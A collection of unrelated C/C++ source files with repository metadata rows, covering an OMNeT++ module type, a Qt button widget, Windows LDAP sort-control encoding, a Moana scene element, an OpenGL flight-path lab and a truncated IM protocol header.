#include <iostream>
#include "cdynamicmoduletype.h"
#include "cneddeclaration.h"
#include "cnedloader.h"
#include "cnednetworkbuilder.h"
NAMESPACE_BEGIN
cDynamicModuleType::cDynamicModuleType(const char *name) : cModuleType(name)
{
}
std::string cDynamicModuleType::info() const
{
return getDecl()->info();
}
std::string cDynamicModuleType::detailedInfo() const
{
return getDecl()->nedSource();
}
cNEDDeclaration *cDynamicModuleType::getDecl() const
{
// do not store the pointer, because the declaration object may have been
// thrown out of cNEDLoader to conserve memory
cNEDDeclaration *decl = cNEDLoader::getInstance()->getDecl(getFullName());
ASSERT(decl->getType()==cNEDDeclaration::SIMPLE_MODULE || decl->getType()==cNEDDeclaration::COMPOUND_MODULE);
return decl;
}
bool cDynamicModuleType::isNetwork() const
{
return getDecl()->isNetwork();
}
bool cDynamicModuleType::isSimple() const
{
return getDecl()->getType()==cNEDDeclaration::SIMPLE_MODULE;
}
cModule *cDynamicModuleType::createModuleObject()
{
const char *classname = getDecl()->getImplementationClassName();
ASSERT(classname!=NULL);
return instantiateModuleClass(classname);
}
void cDynamicModuleType::addParametersAndGatesTo(cModule *module)
{
cNEDDeclaration *decl = getDecl();
cNEDNetworkBuilder().addParametersAndGatesTo(module, decl);
}
void cDynamicModuleType::setupGateVectors(cModule *module)
{
cNEDDeclaration *decl = getDecl();
cNEDNetworkBuilder().setupGateVectors(module, decl);
}
void cDynamicModuleType::buildInside(cModule *module)
{
cNEDDeclaration *decl = getDecl();
cNEDNetworkBuilder().buildInside(module, decl);
}
cProperties *cDynamicModuleType::getProperties() const
{
cNEDDeclaration *decl = getDecl();
return decl->getProperties();
}
cProperties *cDynamicModuleType::getParamProperties(const char *paramName) const
{
cNEDDeclaration *decl = getDecl();
return decl->getParamProperties(paramName);
}
cProperties *cDynamicModuleType::getGateProperties(const char *gateName) const
{
cNEDDeclaration *decl = getDecl();
return decl->getGateProperties(gateName);
}
cProperties *cDynamicModuleType::getSubmoduleProperties(const char *submoduleName, const char *submoduleType) const
{
cNEDDeclaration *decl = getDecl();
return decl->getSubmoduleProperties(submoduleName, submoduleType);
}
cProperties *cDynamicModuleType::getConnectionProperties(int connectionId, const char *channelType) const
{
cNEDDeclaration *decl = getDecl();
return decl->getConnectionProperties(connectionId, channelType);
}
std::string cDynamicModuleType::getPackageProperty(const char *name) const
{
cNEDDeclaration *decl = getDecl();
return decl->getPackageProperty(name);
}
const char *cDynamicModuleType::getImplementationClassName() const
{
cNEDDeclaration *decl = getDecl();
return decl->getImplementationClassName();
}
std::string cDynamicModuleType::getCxxNamespace() const
{
cNEDDeclaration *decl = getDecl();
return decl->getCxxNamespace();
}
bool cDynamicModuleType::isInnerType() const
{
cNEDDeclaration *decl = getDecl();
return decl->isInnerType();
}
NAMESPACE_END
|
[
"omnet4arab@gmail.com"
] |
omnet4arab@gmail.com
|
88a78e77f768098f5ba8b847a5204a8974a2976b
|
245ce77616363cc2fac61d642421d91104a539a8
|
/src/qt/tradetensor/expandablebutton.cpp
|
13a19e2c2cd241d16b24dd05d47241a89117e0fa
|
[
"MIT",
"FSFAP"
] |
permissive
|
TradeTensor/tradetensor
|
fe60406a0c483904de0ee48520ff7cd8fa59ac37
|
54e76bed3723dfb06c3365843358b528ba06c50a
|
refs/heads/master
| 2022-11-22T14:21:00.352545
| 2020-07-27T04:14:49
| 2020-07-27T04:14:49
| 274,551,704
| 0
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,439
|
cpp
|
// Copyright (c) 2019 The TradeTensor developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "qt/tradetensor/expandablebutton.h"
#include "qt/tradetensor/forms/ui_expandablebutton.h"
#include "qt/tradetensor/qtutils.h"
#include <QParallelAnimationGroup>
#include <QPropertyAnimation>
#include <QStyle>
#include <iostream>
ExpandableButton::ExpandableButton(QWidget *parent) :
QWidget(parent),
ui(new Ui::ExpandableButton),
isAnimating(false)
{
ui->setupUi(this);
this->setStyleSheet(parent->styleSheet());
ui->pushButton->setCheckable(true);
this->layout()->setSizeConstraint(QLayout::SetFixedSize);
connect(ui->pushButton, SIGNAL(clicked()), this, SLOT(mousePressEvent()));
}
void ExpandableButton::setButtonClassStyle(const char *name, const QVariant &value, bool forceUpdate){
ui->pushButton->setProperty(name, value);
if(forceUpdate){
updateStyle(ui->pushButton);
}
}
void ExpandableButton::setIcon(QString path){
ui->pushButton->setIcon(QIcon(path));
}
void ExpandableButton::setButtonText(const QString _text){
this->text = _text;
if(this->isExpanded){
ui->pushButton->setText(_text);
}
}
void ExpandableButton::setText2(QString text2)
{
this->text = text2;
ui->pushButton->setText(text2);
}
ExpandableButton::~ExpandableButton()
{
delete ui;
}
bool ExpandableButton::isChecked(){
return ui->pushButton->isChecked();
}
void ExpandableButton::setChecked(bool check){
ui->pushButton->setChecked(check);
}
void ExpandableButton::setSmall()
{
ui->pushButton->setText("");
this->setMaximumWidth(36);
this->isExpanded = false;
update();
}
void ExpandableButton::setExpanded(){
this->setMaximumWidth(100);
ui->pushButton->setText(text);
this->isExpanded = true;
}
void ExpandableButton::enterEvent(QEvent *) {
if(!this->isAnimating){
setExpanded();
emit Mouse_Hover();
}
update();
}
void ExpandableButton::leaveEvent(QEvent *) {
if(!keepExpanded){
this->setSmall();
}
emit Mouse_HoverLeave();
}
void ExpandableButton::mousePressEvent(){
emit Mouse_Pressed();
}
void ExpandableButton::mousePressEvent(QMouseEvent *ev)
{
emit Mouse_Pressed();
}
void ExpandableButton::on_pushButton_clicked(bool checked)
{
// TODO: Add callback event
}
|
[
"support@tradetensor.xyz"
] |
support@tradetensor.xyz
|
f4252a60b19d0f1b67aabb0e121d11858ae9f1db
|
6b40e9dccf2edc767c44df3acd9b626fcd586b4d
|
/NT/ds/ds/src/ldap/client/sort.cxx
|
ede19541acc478c4bc314eb44ab17ea6db33dc91
|
[] |
no_license
|
jjzhang166/WinNT5_src_20201004
|
712894fcf94fb82c49e5cd09d719da00740e0436
|
b2db264153b80fbb91ef5fc9f57b387e223dbfc2
|
refs/heads/Win2K3
| 2023-08-12T01:31:59.670176
| 2021-10-14T15:14:37
| 2021-10-14T15:14:37
| 586,134,273
| 1
| 0
| null | 2023-01-07T03:47:45
| 2023-01-07T03:47:44
| null |
UTF-8
|
C++
| false
| false
| 15,254
|
cxx
|
/*++
Copyright (c) 1996 Microsoft Corporation
Module Name:
sort.cxx sort control support routines for the LDAP api
Abstract:
This module implements routines that handle sorting controls
Author:
Andy Herron (andyhe) 27-Aug-1997
Revision History:
--*/
#include "precomp.h"
#pragma hdrstop
#include "ldapp2.hxx"
ULONG
LdapCreateSortControlWithAlloc(
PLDAP ExternalHandle,
PLDAPSortKeyW *SortKeys,
UCHAR IsCritical,
PLDAPControlW *Control,
ULONG CodePage
);
ULONG
LdapParseSortControl (
PLDAP_CONN connection,
PLDAPControlW *Control,
ULONG *Result,
PWCHAR *Attribute,
ULONG CodePage
);
ULONG
LdapEncodeSortControl (
PLDAP_CONN connection,
PLDAPSortKeyW *SortKeys,
PLDAPControlW OutputControl,
BOOLEAN Criticality,
ULONG CodePage
)
{
ULONG err;
CLdapBer *lber = NULL;
PLDAPSortKeyW sortKey;
if ((connection == NULL) || (OutputControl == NULL) || (SortKeys == NULL)) {
return LDAP_PARAM_ERROR;
}
OutputControl->ldctl_oid = NULL;
OutputControl->ldctl_iscritical = Criticality;
if (CodePage == LANG_UNICODE) {
OutputControl->ldctl_oid = ldap_dup_stringW( LDAP_SERVER_SORT_OID_W,
0,
LDAP_VALUE_SIGNATURE );
} else {
OutputControl->ldctl_oid = (PWCHAR) ldap_dup_string( LDAP_SERVER_SORT_OID,
0,
LDAP_VALUE_SIGNATURE );
}
if (OutputControl->ldctl_oid == NULL) {
err = LDAP_NO_MEMORY;
goto exitEncodeSortControl;
}
lber = new CLdapBer( connection->publicLdapStruct.ld_version );
if (lber == NULL) {
err = LDAP_NO_MEMORY;
goto exitEncodeSortControl;
}
//
// for each sort key, insert it into the control :
//
// SortKeyList ::= SEQUENCE OF SEQUENCE {
// attributeType AttributeType,
// orderingRule [0] MatchingRuleId OPTIONAL,
// reverseOrder [1] BOOLEAN DEFAULT FALSE }
//
err = lber->HrStartWriteSequence();
if (err != LDAP_SUCCESS) {
goto exitEncodeSortControl;
}
while (*SortKeys != NULL) {
sortKey = *SortKeys;
err = lber->HrStartWriteSequence();
if (err != LDAP_SUCCESS) {
goto exitEncodeSortControl;
}
if (CodePage == LANG_UNICODE) {
err = lber->HrAddValue((const WCHAR *) sortKey->sk_attrtype );
} else {
err = lber->HrAddValue((const CHAR *) sortKey->sk_attrtype );
}
if (err != LDAP_SUCCESS) {
goto exitEncodeSortControl;
}
if (sortKey->sk_matchruleoid != NULL) {
if (CodePage == LANG_UNICODE) {
err = lber->HrAddValue((const WCHAR *) sortKey->sk_matchruleoid,
BER_CLASS_CONTEXT_SPECIFIC | 0x00 );
} else {
err = lber->HrAddValue((const CHAR *) sortKey->sk_matchruleoid,
BER_CLASS_CONTEXT_SPECIFIC | 0x00 );
}
if (err != LDAP_SUCCESS) {
goto exitEncodeSortControl;
}
}
if (sortKey->sk_reverseorder != FALSE) {
err = lber->HrAddValue((BOOLEAN) 1, BER_CLASS_CONTEXT_SPECIFIC | 0x01 );
if (err != LDAP_SUCCESS) {
goto exitEncodeSortControl;
}
}
err = lber->HrEndWriteSequence();
ASSERT( err == NOERROR );
SortKeys++;
}
err = lber->HrEndWriteSequence();
ASSERT( err == NOERROR );
OutputControl->ldctl_value.bv_len = lber->CbData();
if (OutputControl->ldctl_value.bv_len == 0) {
err = LDAP_LOCAL_ERROR;
goto exitEncodeSortControl;
}
OutputControl->ldctl_value.bv_val = (PCHAR) ldapMalloc(
OutputControl->ldctl_value.bv_len,
LDAP_CONTROL_SIGNATURE );
if (OutputControl->ldctl_value.bv_val == NULL) {
err = LDAP_NO_MEMORY;
goto exitEncodeSortControl;
}
CopyMemory( OutputControl->ldctl_value.bv_val,
lber->PbData(),
OutputControl->ldctl_value.bv_len );
err = LDAP_SUCCESS;
exitEncodeSortControl:
if (err != LDAP_SUCCESS) {
if (OutputControl->ldctl_oid != NULL) {
ldapFree( OutputControl->ldctl_oid, LDAP_VALUE_SIGNATURE );
OutputControl->ldctl_oid = NULL;
}
OutputControl->ldctl_value.bv_len = 0;
}
if (lber != NULL) {
delete lber;
}
return err;
}
WINLDAPAPI
ULONG LDAPAPI
ldap_create_sort_controlA (
PLDAP ExternalHandle,
PLDAPSortKeyA *SortKeys,
UCHAR IsCritical,
PLDAPControlA *Control
)
{
return LdapCreateSortControlWithAlloc( ExternalHandle,
(PLDAPSortKeyW *) SortKeys,
IsCritical,
(PLDAPControlW *) Control,
LANG_ACP );
}
WINLDAPAPI
ULONG LDAPAPI
ldap_create_sort_controlW (
PLDAP ExternalHandle,
PLDAPSortKeyW *SortKeys,
UCHAR IsCritical,
PLDAPControlW *Control
)
{
return LdapCreateSortControlWithAlloc( ExternalHandle,
SortKeys,
IsCritical,
Control,
LANG_UNICODE );
}
ULONG
LdapCreateSortControlWithAlloc(
PLDAP ExternalHandle,
PLDAPSortKeyW *SortKeys,
UCHAR IsCritical,
PLDAPControlW *Control,
ULONG CodePage
)
{
ULONG err;
BOOLEAN criticality = ( (IsCritical > 0) ? TRUE : FALSE );
PLDAPControlW control = NULL;
PLDAP_CONN connection = NULL;
connection = GetConnectionPointer(ExternalHandle);
if ((connection == NULL) || (Control == NULL)) {
err = LDAP_PARAM_ERROR;
goto error;
}
control = (PLDAPControlW) ldapMalloc( sizeof( LDAPControlW ), LDAP_CONTROL_SIGNATURE );
if (control == NULL) {
*Control = NULL;
err = LDAP_NO_MEMORY;
goto error;
}
err = LdapEncodeSortControl( connection,
SortKeys,
control,
criticality,
CodePage );
if (err != LDAP_SUCCESS) {
ldap_control_freeW( control );
control = NULL;
}
*Control = control;
error:
if (connection)
DereferenceLdapConnection( connection );
return err;
}
//
// These routines parse the search control returned by the server
//
WINLDAPAPI
ULONG LDAPAPI
ldap_parse_sort_controlA (
PLDAP ExternalHandle,
PLDAPControlA *Control,
ULONG *Result,
PCHAR *Attribute
)
{
PLDAP_CONN connection = NULL;
ULONG err;
connection = GetConnectionPointer(ExternalHandle);
if (connection == NULL) {
return LDAP_PARAM_ERROR;
}
err = LdapParseSortControl( connection,
(PLDAPControlW *) Control,
Result,
(PWCHAR *) Attribute,
LANG_ACP );
DereferenceLdapConnection( connection );
return err;
}
WINLDAPAPI
ULONG LDAPAPI
ldap_parse_sort_controlW (
PLDAP ExternalHandle,
PLDAPControlW *Control,
ULONG *Result,
PWCHAR *Attribute
)
{
PLDAP_CONN connection = NULL;
ULONG err;
connection = GetConnectionPointer(ExternalHandle);
if (connection == NULL) {
return LDAP_PARAM_ERROR;
}
err = LdapParseSortControl( connection,
Control,
Result,
Attribute,
LANG_UNICODE );
DereferenceLdapConnection( connection );
return err;
}
ULONG
LdapParseSortControl (
PLDAP_CONN connection,
PLDAPControlW *ServerControls,
ULONG *Result,
PWCHAR *Attribute,
ULONG CodePage
)
{
ULONG err = LDAP_CONTROL_NOT_FOUND;
PCHAR *ansiAttribute = (PCHAR *) Attribute;
CLdapBer *lber = NULL;
//
// First thing is to zero out the parms passed in.
//
if (Result != NULL) {
*Result = 0;
}
if (Attribute != NULL) {
*Attribute = NULL;
}
if (ServerControls != NULL) {
PLDAPControlW *controls = ServerControls;
PLDAPControlW currentControl;
ULONG bytesTaken;
LONG sortError;
while (*controls != NULL) {
currentControl = *controls;
//
// check to see if the current control is the SORT control
//
if ( ((CodePage == LANG_UNICODE) &&
( ldapWStringsIdentical( currentControl->ldctl_oid,
-1,
LDAP_SERVER_RESP_SORT_OID_W,
-1 ) == TRUE )) ||
((CodePage == LANG_ACP) &&
( CompareStringA( LDAP_DEFAULT_LOCALE,
NORM_IGNORECASE,
(PCHAR) currentControl->ldctl_oid,
-1,
LDAP_SERVER_RESP_SORT_OID,
sizeof(LDAP_SERVER_RESP_SORT_OID) ) == 2)) ) {
lber = new CLdapBer( connection->publicLdapStruct.ld_version );
if (lber == NULL) {
IF_DEBUG(OUTMEMORY) {
LdapPrint1( "LdapParseSortControl: unable to alloc msg for 0x%x.\n",
connection );
}
err = LDAP_NO_MEMORY;
break;
}
err = lber->HrLoadBer( (const BYTE *) currentControl->ldctl_value.bv_val,
currentControl->ldctl_value.bv_len,
&bytesTaken,
TRUE ); // we have the whole message guarenteed
if (err != NOERROR) {
IF_DEBUG(PARSE) {
LdapPrint2( "LdapParseSortControl: loadBer error of 0x%x for 0x%x.\n",
err, connection );
}
break;
}
err = lber->HrStartReadSequence();
if (err != NOERROR) {
IF_DEBUG(PARSE) {
LdapPrint2( "LdapParseSortControl: loadBer error of 0x%x for 0x%x.\n",
err, connection );
}
break;
}
err = lber->HrGetEnumValue( &sortError );
if (err != NOERROR) {
IF_DEBUG(PARSE) {
LdapPrint2( "LdapParseSortControl: getEnumValue error of 0x%x for 0x%x.\n",
err, connection );
}
break;
}
if (Result != NULL) {
*Result = sortError;
}
if (Attribute != NULL) {
if ( CodePage == LANG_UNICODE) {
err = lber->HrGetValueWithAlloc( Attribute );
} else {
err = lber->HrGetValueWithAlloc( ansiAttribute );
}
if (err != NOERROR) {
//
// Since it's an optional string, only bail out if we
// got a legit error from decoding.
//
IF_DEBUG(PARSE) {
LdapPrint2( "LdapParseSortControl: GetAttribute error of 0x%x for 0x%x.\n",
err, connection );
}
if ( (err != LDAP_NO_SUCH_ATTRIBUTE ) &&
(err != LDAP_DECODING_ERROR) ) {
break;
}
}
}
err = LDAP_SUCCESS;
break; // done with loop... look no more
}
controls++;
}
}
if (lber != NULL) {
delete lber;
}
SetConnectionError( connection, err, NULL );
return err;
}
//
// These two APIs are old and will be eliminated after NT 5.0 beta 1.
//
WINLDAPAPI ULONG LDAPAPI ldap_encode_sort_controlW (
PLDAP ExternalHandle,
PLDAPSortKeyW *SortKeys,
PLDAPControlW Control,
BOOLEAN Criticality
)
{
PLDAP_CONN connection = NULL;
ULONG err;
connection = GetConnectionPointer(ExternalHandle);
if (connection == NULL) {
return LDAP_PARAM_ERROR;
}
err = LdapEncodeSortControl( connection,
SortKeys,
Control,
Criticality,
LANG_UNICODE );
DereferenceLdapConnection( connection );
return err;
}
WINLDAPAPI ULONG LDAPAPI ldap_encode_sort_controlA (
PLDAP ExternalHandle,
PLDAPSortKeyA *SortKeys,
PLDAPControlA Control,
BOOLEAN Criticality
)
{
PLDAP_CONN connection = NULL;
ULONG err;
connection = GetConnectionPointer(ExternalHandle);
if (connection == NULL) {
return LDAP_PARAM_ERROR;
}
err = LdapEncodeSortControl( connection,
(PLDAPSortKeyW *)SortKeys,
(PLDAPControlW)Control,
Criticality,
LANG_ACP );
DereferenceLdapConnection( connection );
return err;
}
// sort.cxx eof
|
[
"seta7D5@protonmail.com"
] |
seta7D5@protonmail.com
|
604707e455484396332d7703ec85529078d9d332
|
54e0ee862be80cc1044e3930d7d4236e1986a57e
|
/src/scene/ironwood_a1_element.cpp
|
27579d1aee5ce3674d0bd0ef5cc0a1ba187303f7
|
[
"MIT"
] |
permissive
|
bssrdf/gpu-motunui
|
fdf725b5aec3d2f78e7cf20c0686f828a2beec6d
|
1369c98408c4c59bfddff45ae00281f6463527ec
|
refs/heads/master
| 2023-01-02T19:03:10.429025
| 2020-10-21T05:59:23
| 2020-10-21T05:59:23
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,713
|
cpp
|
#include "scene/ironwood_a1_element.hpp"
namespace moana {
IronwoodA1Element::IronwoodA1Element()
{
const std::string moanaRoot = MOANA_ROOT;
m_elementName = "isIronwoodA1";
m_mtlLookup = {
"archive_bark",
"archive_pineNeedles",
"archive_seedPod",
"bark",
"barkSimple",
"leaves",
};
m_materialOffset = 60;
m_baseObjs = {
"../scene/isIronwoodA1-1.obj",
};
m_objArchivePaths = {
moanaRoot + "/island/obj/isIronwoodA1/archives/archiveseedpodb_mod.obj",
};
m_elementInstancesBinPaths = {
"../scene/isIronwoodA1.bin",
};
m_primitiveInstancesBinPaths = {
{"../scene/isIronwoodA1_xgBonsai--archiveseedpodb_mod.bin"},
};
m_primitiveInstancesHandleIndices = {
{0},
};
m_curveBinPathsByElementInstance = {
{},
};
m_curveMtlIndicesByElementInstance = {
{},
};
}
IronwoodA1ElementOverflow::IronwoodA1ElementOverflow()
{
const std::string moanaRoot = MOANA_ROOT;
m_elementName = "isIronwoodA1";
m_mtlLookup = {
"archive_bark",
"archive_pineNeedles",
"archive_seedPod",
"bark",
"barkSimple",
"leaves",
};
m_materialOffset = 60;
m_baseObjs = {
"../scene/isIronwoodA1-2.obj",
};
m_objArchivePaths = {
};
m_elementInstancesBinPaths = {
"../scene/isIronwoodA1.bin",
};
m_primitiveInstancesBinPaths = {
{},
};
m_primitiveInstancesHandleIndices = {
{},
};
m_curveBinPathsByElementInstance = {
{},
};
m_curveMtlIndicesByElementInstance = {
{},
};
}
}
|
[
"chellmuth@gmail.com"
] |
chellmuth@gmail.com
|
a306ba9375ff3c640a594473a2d15eee17f2efb6
|
9fb3ac362370dbaaec9ff680ce530eca041d4b08
|
/Lab_6_Vector_Math/I_FlightPath/FlightPath.cpp
|
89b8dd43a1b45d2253b66b8c6e693e263ddc0c50
|
[] |
no_license
|
ankurpatel42/COSC363-Computer-Graphics
|
49baaf69b60e48fe496b121cdef71f677ae34106
|
15e4e4a33c57c07d6344a8874e186a37d6385217
|
refs/heads/main
| 2023-07-08T21:48:44.334582
| 2021-08-13T02:26:55
| 2021-08-13T02:26:55
| 395,497,556
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,218
|
cpp
|
// ========================================================================
// COSC363: Computer Graphics (2021)
//
// FILE NAME: FlightPath.cpp
// See Lab06.pdf for details.
// ========================================================================
#include <iostream>
#include <fstream>
#include <cmath>
#include <GL/freeglut.h>
using namespace std;
float angle = -40; //Scene rotation angle
const int NPTS = 70; //Number of points on the flight path
int option = 1; //1: model view, 2: room view
float ptx[NPTS], pty[NPTS], ptz[NPTS];
GLUquadric *q;
int indx = 0;
void timer(int value) {
if (value < 10000) {
if (indx == NPTS) {
indx = 0;
glutPostRedisplay();
glutTimerFunc(65, timer, value);
}
else {
indx++;
glutPostRedisplay();
glutTimerFunc(65, timer, value);
}
}
}
//Reads flight path data from FlightPath.txt
void loadFlightPath()
{
ifstream ifile;
ifile.open("FlightPath.txt");
if (!ifile){
std::cout << "File not found!" << std::endl;
throw;
}
for (int i = 0; i < NPTS; i++)
ifile >> ptx[i] >> pty[i] >> ptz[i];
ifile.close();
}
void drawFin()
{
glColor3f(1, 0, 0);
glNormal3f(0, 0, 1);
glBegin(GL_TRIANGLES);
glVertex3f(-1, 0.5, 0);
glVertex3f(2, 0.5, 0);
glVertex3f(-1, 4, 0);
glEnd();
}
void drawModel()
{
glColor3f(0, 1, 1);
glPushMatrix(); //body
glRotatef(90, 0, 1, 0);
gluCylinder(q, 1, 1, 7, 36, 5);
gluDisk(q, 0, 1, 36, 3);
glPopMatrix();
glColor3f(0, 0, 1);
glPushMatrix(); //nose
glTranslatef(7, 0, 0);
glRotatef(90, 0, 1, 0);
glutSolidCone(1, 2, 36, 3);
glPopMatrix();
for (int i = 0; i < 3; i++) //3 fins
{
glPushMatrix();
glRotatef(120 * i, 1, 0, 0);
drawFin();
glPopMatrix();
}
}
void drawRoom()
{
glDisable(GL_LIGHTING);
glColor3f(0.7, 0.7, 0.7); //Floor colour
for(int i = -100; i <= 100; i +=5)
{
glBegin(GL_LINES); //A set of grid lines on the floor-plane
glVertex3f(-100, 0, i);
glVertex3f(100, 0, i);
glVertex3f(i, 0, -100);
glVertex3f(i, 0, 100);
glEnd();
}
glEnable(GL_LIGHTING);
glBegin(GL_QUADS); //4 walls
glColor3f(0.75, 0.75, 0.75);
glNormal3f(0, 0, 1);
glVertex3f(-100, 0, -100);
glVertex3f(100, 0, -100);
glVertex3f(100, 140, -100);
glVertex3f(-100, 140, -100);
glNormal3f(0, 0, -1);
glVertex3f(-100, 0, 100);
glVertex3f(100, 0, 100);
glVertex3f(100, 140, 100);
glVertex3f(-100, 140, 100);
glColor3f(1, 0.75, 0.75);
glNormal3f(1, 0, 0);
glVertex3f(-100, 0, -100);
glVertex3f(-100, 140, -100);
glVertex3f(-100, 140, 100);
glVertex3f(-100, 0, 100);
glNormal3f(-1, 0, 0);
glVertex3f(100, 0, -100);
glVertex3f(100, 140, -100);
glVertex3f(100, 140, 100);
glVertex3f(100, 0, 100);
glColor3f(1, 1, 0.6);
glNormal3f(0, -1, 0);
glVertex3f(-100, 140, 100);
glVertex3f(100, 140, 100);
glVertex3f(100, 140, -100);
glVertex3f(-100, 140, -100);
glEnd();
}
void drawFlightPath()
{
glColor3f(0.0, 0.0, 1.0);
glDisable(GL_LIGHTING);
glBegin(GL_LINE_LOOP);
for (int i = 0; i < NPTS; i++)
glVertex3f(ptx[i], pty[i], ptz[i]);
glEnd();
glEnable(GL_LIGHTING);
}
//---------------------------------------------
void initialise(void)
{
float grey[4] = {0.2, 0.2, 0.2, 1.0};
float white[4] = {1.0, 1.0, 1.0, 1.0};
float black[4] = { 0, 0, 0, 1 };
q = gluNewQuadric();
loadFlightPath();
glEnable(GL_DEPTH_TEST);
glEnable(GL_NORMALIZE);
glEnable(GL_LIGHTING);
glEnable(GL_LIGHT0);
glLightfv(GL_LIGHT0, GL_AMBIENT, grey);
glLightfv(GL_LIGHT0, GL_DIFFUSE, white);
glLightfv(GL_LIGHT0, GL_SPECULAR, white);
glEnable(GL_SMOOTH);
glEnable(GL_COLOR_MATERIAL);
glColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE);
glMaterialfv(GL_FRONT_AND_BACK, GL_SPECULAR, black);
glClearColor (1.0, 1.0, 1.0, 0.0);
glMatrixMode (GL_PROJECTION);
glLoadIdentity ();
gluPerspective(80.0, 1.0, 10.0, 500.0);
}
//------------------------------------------
void display(void)
{
float lgt_pos[]={0, 50.0f, 0.0f, 1.0f}; //light0 position (above the origin)
glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
if (option == 2)
gluLookAt(0., 10, 30.0, 0., 0., 0., 0., 1., 0.);
else
gluLookAt(0., 80, 100.0, 0., 50., 0., 0., 1., 0.);
glLightfv(GL_LIGHT0, GL_POSITION, lgt_pos); //light position
glRotatef(angle, 0, 1, 0);
//points from vector P
float currentPointOnPath_x = ptx[indx];
float currentPointOnPath_y = pty[indx];
float currentPointOnPath_z = ptz[indx];
//points from vector q
float nextPointOnPath_x = ptx[indx+1];
float nextPointOnPath_y = pty[indx+1];
float nextPointOnPath_z = ptz[indx+1];
//vector v (q - p)
float v[] = {nextPointOnPath_x - currentPointOnPath_x, nextPointOnPath_y - currentPointOnPath_y, nextPointOnPath_z - currentPointOnPath_z};
//--------------------------normalize v-----------------------------
float length_v = 0;
for(int i = 0; i < 3; i++) {
length_v += (pow(v[i], 2));
}
length_v = pow(length_v, 0.5);
for(int i = 0; i < 3; i++) {
v[i] = v[i] / length_v; //vector v now normalized
}
//------------------------------------------------------------------
float u[] = {1.0, 0.0, 0.0};
float dot_product_u_and_v = 0;
for (int i = 0; i < 3; i++) {
dot_product_u_and_v += (u[i] * v[i]);
}
float theta = acos(dot_product_u_and_v) * 180.0 / M_PI;
float w[] = {(u[1] * v[2]) - (u[2] * v[1]), (u[2] * v[0]) - (u[0] * v[2]), (u[0] * v[1]) - (u[1] * v[0])}; //cross product (w = axis of rotation)
drawRoom();
drawFlightPath();
glPushMatrix();
glTranslatef(currentPointOnPath_x, currentPointOnPath_y, currentPointOnPath_z);
glRotatef(theta, w[0], w[1], w[2]);
drawModel();
glPopMatrix();
glutSwapBuffers();
}
// Keyboard call-back function
void keyboard(unsigned char key, int x, int y)
{
if (key == '1') option = 1;
else if (key == '2') option = 2;
glutPostRedisplay();
}
// Special keyboard call-back function
void special(int key, int x, int y)
{
if(key==GLUT_KEY_LEFT) angle--;
else if(key==GLUT_KEY_RIGHT) angle++;
glutPostRedisplay();
}
//----------------------------------------------
int main(int argc, char** argv)
{
glutInit(&argc, argv);
glutInitDisplayMode (GLUT_DOUBLE | GLUT_DEPTH);
glutInitWindowSize (700, 700);
glutInitWindowPosition (100, 100);
glutCreateWindow ("Flight");
initialise ();
glutTimerFunc(50, timer, 0);
glutDisplayFunc(display);
glutSpecialFunc(special);
glutKeyboardFunc(keyboard);
glutMainLoop();
return 0;
}
|
[
"akp41@uclive.ac.nz"
] |
akp41@uclive.ac.nz
|
703e0825d11da25490d0f00c48899b72d19c21ce
|
01e4bc688fab3785163663a0aa86c008c7788baa
|
/cpp/src/base/ImPduBase.h
|
97a196c2f798810a7f57429c7157230e13ac27f9
|
[] |
no_license
|
sky1737/TTServer-1
|
f96c984ccf4824bfe235a2a263f1940f6fd238f3
|
a2f4b7e9cc1f76a67f854914b106c4711cd069a3
|
refs/heads/master
| 2021-01-23T02:30:09.142505
| 2014-11-21T06:05:57
| 2014-11-21T06:05:57
| 26,948,082
| 1
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 10,702
|
h
|
/*
* ImPduBase.h
*
* Created on: 2013-8-27
* Author: ziteng@mogujie.com
*/
#ifndef IMPDUBASE_H_
#define IMPDUBASE_H_
#include "UtilPdu.h"
#include <string.h>
#include <stdlib.h>
#define IM_PDU_HEADER_LEN 12
#define IM_PDU_VERSION 1
#define ROLE_XIAOXIAN_BIT 0x80000000 //
#define ROLE_XIAOXIA_BIT 0x40000000 //
#define ROLE_MASK 0xFFFFFF //
// module id
enum {
SID_LOGIN = 0x0001, // for login
SID_BUDDY_LIST = 0x0002, // for friend list
SID_MSG = 0x0003, //
SID_SWITCH_SERVICE = 0x0004, //
SID_GROUP = 0x0005, // for group message
SID_FILE = 0x0006, //
SID_OTHER = 0x0007, //
};
// command id for login
enum {
CID_LOGIN_REQ_MSGSERVER = 1, //
CID_LOGIN_RES_MSGSERVER = 2, //
CID_LOGIN_REQ_USERLOGIN = 3, //
CID_LOGIN_RES_USERLOGIN = 4, //
CID_LOGIN_KICK_USER = 7, //
};
// command id for msg
enum {
CID_MSG_DATA = 1, //
CID_MSG_DATA_ACK = 2, //
CID_MSG_READ_ACK = 3, //
CID_MSG_TIME_REQUEST = 5, //
CID_MSG_TIME_RESPONSE = 6, //
CID_MSG_UNREAD_CNT_REQUEST = 7, //
CID_MSG_UNREAD_CNT_RESPONSE = 8, //
CID_MSG_UNREAD_MSG_REUQEST = 9, //
//CID_MSG_LIST_RESPONSE = 11, //
CID_MSG_UNREAD_MSG_RESPONSE = 14,
};
// command id for buddy list
enum {
CID_BUDDY_LIST_REQUEST = 1, //
CID_BUDDY_LIST_FRIEND_LIST = 3, //
CID_BUDDY_LIST_ONLINE_FRIEND_LIST = 4, //
CID_BUDDY_LIST_STATUS_NOTIFY = 5, //
CID_BUDDY_LIST_USER_STATUS_REQUEST = 8, //
CID_BUDDY_LIST_USER_STATUS_RESPONSE = 9, //
CID_BUDDY_LIST_USER_INFO_RESPONSE = 10, //
CID_BUDDY_LIST_USER_INFO_REQUEST = 11,
CID_BUDDY_LIST_REMOVE_SESSION_REQ = 12,
CID_BUDDY_LIST_REMOVE_SESSION_RES = 13,
CID_BUDDY_LIST_ALL_USER_REQUEST = 14,
CID_BUDDY_LIST_ALL_USER_RESPONSE = 15,
CID_BUDDY_LIST_USERS_STATUS_REQUEST = 16, //query list user's status
CID_BUDDY_LIST_USERS_STATUS_RESPONSE= 17, //response list user's status
